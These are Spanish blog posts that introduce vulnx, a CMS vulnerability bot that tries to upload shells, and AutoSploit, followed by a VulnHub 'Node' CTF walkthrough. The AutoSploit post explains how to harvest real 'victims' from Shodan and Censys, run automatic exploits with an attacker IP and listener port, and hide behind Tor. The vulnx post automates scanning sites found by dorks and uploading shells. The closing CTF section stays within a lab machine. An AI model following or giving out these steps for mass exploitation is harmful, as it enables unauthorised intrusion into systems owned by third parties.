vulnx un bot que abre shells automáticamente en wordpress, joomla....

Hola amigos.

Hoy, os presento vulnx, un bot que nos permite identificar vulnerabilidades de cms (gestores de contenidos web) tipo wordpress, joomla, magento, opencart, pretashop y drupal, e intentar subir una shell.

En primer lugar, nos descargamos de su página de github.

git clone https://github.com/anouarbensaad/vulnx.git

Una vez en el directorio creado, damos permisos de ejecución

chmod +x install.sh

Y ejecutamos

./install.sh

Ahora, ejecutamos la aplicación

vulnx -help

Y nos mostrará la ayuda.

usage: vulnx.py [-h] [-u URL] [-D DORKS] [-o OUTPUT] [-n NUMBERPAGE]

[-i INPUT_FILE]

[-l {wordpress,prestashop,joomla,lokomedia,drupal,all}]

[-p SCANPORTS] [-e] [--it] [--cms] [-w] [-d] [--dns]

OPTIONS:

-h, --help show this help message and exit

-u URL, --url URL url target to scan

-D DORKS, --dorks DORKS

search webs with dorks

-o OUTPUT, --output OUTPUT

specify output directory

-n NUMBERPAGE, --number-pages NUMBERPAGE

search dorks number page limit

-i INPUT_FILE, --input INPUT_FILE

specify input file of domains to scan

-l {wordpress,prestashop,joomla,lokomedia,drupal,all}, --dork-list {wordpress,prestashop,joomla,lokomedia,drupal,all}

list names of dorks exploits

-p SCANPORTS, --ports SCANPORTS

ports to scan

-e, --exploit searching vulnerability & run exploits

--it interactive mode.

--cms search cms info[themes,plugins,user,version..]

-w, --web-info web informations gathering

-d, --domain-info subdomains informations gathering

--dns dns informations gatherings

Example: python /usr/share/vulnx/vulnx.py -u google.com

Autosploit

Hola amigos.

En esta ocasión, os presento la herramienta Autosploit.

Esta herramienta, nos permitirá, automáticamente, lanzar los exploits hacia un objetivo, sin que nosotros tengamos que hacer casi nada, sólo buscar un objetivo y ponerlo.

Por si fuera poco, esta herramienta nos ayuda a buscar víctimas a través de shodan y censys, por lo que es necesario tener una cuenta de ambas. Y, cuando lo pida, meter los parámetros.

Descargamos la herramienta:

git clone https://github.com/NullArray/AutoSploit.git

cd AutoSploit

./install.sh

python autosploit.py

Respondemos y

Y metemos los tokens tanto de shodan y de censys.

Si queremos buscar víctimas con shodan, por ejemplo:

search shodan android

Te dará un archivo hosts.txt con los hosts encontrados.

Bien, ahora busquemos

search shodan smb

Busquemos una dirección de hosts.txt y pongamos

exploit IPVICTIMA IP_ATACANTE LPORT

Y automáticamente lanzará exploits

Si queréis poner un proxy (por ejemplo habéis instalado tor https://salamancageek.blogspot.com/2016/03/intalando-tor.html) y os dá problemas, lo que tenéis que hacer es iniciar tor y privoxy e ir a la configuración de red de vuestro KALI LINUX u otra distribución GNU/LINUX y hacer pasar todas las conexiones por el proxy.

Solución al reto Node

Hola amigos, en esta ocasión, vamos a ver cómo resolver el reto Node, descargable de https://www.vulnhub.com/entry/node-1,252/ y cuyo objetivo es llegar a ser root.

Máquina atacante: 192.168.1.131

Máquina víctima: 192.168.1.41

En primer lugar, hacemos un nmap

nmap -sS -sV -O 192.168.1.41

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2018-09-20 11:44 CEST
Nmap scan report for node.home (192.168.1.41)
Host is up (0.0043s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.1, Linux 3.16 - 3.19, Linux 3.2 - 4.4, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.16 seconds

Como vemos, tenemos un servidor web en el puerto 3000

Aunque no es necesario, yo me descargué la página con httrack (instalada ya en kali) y empecé a husmear. Me encontré con esto:

Y fuí a la página:

Tiene usuarios, con sus respectivo hashes, los copié en un archivo por comodidad:

 

Y los comprobé con hash-identifier, para ver de qué tipo de codificación tenían:

 

Bueno, pues tienen la codificación sha-256. Pude desencriptar los dos primeros:

 

Seguí husmeando en el código de las páginas, y me encontré que existía otra página:

Tenía otro usuario más, de modo que desencripté el hash:

 

Me descargué el archivo.

Base 64 es un sistema de codificación (no encriptación), formado por letras de la a a la z, de la A a la Z y con los signos +, / e =. Por lo que parece que está en base 64.

Como sabemos, el código ASCII son los 256 caracteres que podemos representar , cada uno formado por 8 bits. Por temas de compatibilidad a la hora de enviar información por red, con equipos antiguos, se utiliza base64.

Si os interesa, este video explica muy bien en qué consiste, y como se realiza la codificación y decodificación.

Pues bien, decodificamos de la siguente manera:

Vemos qué tipo de archivo es, porque no tenemos extensión:

Vale, es zip, pero tiene contraseña; la craqueamos:

Nos dá un montón de archivos:

Me encontré con este archivo, que tiene la contraseña ssh de mark:

Miré que tipo de contraseña era:

Busqué su exploit, lo descargué, y lo compilé:

Lo ejecuté:

Ya somos root, y vemos la flag que nos tienen preparada: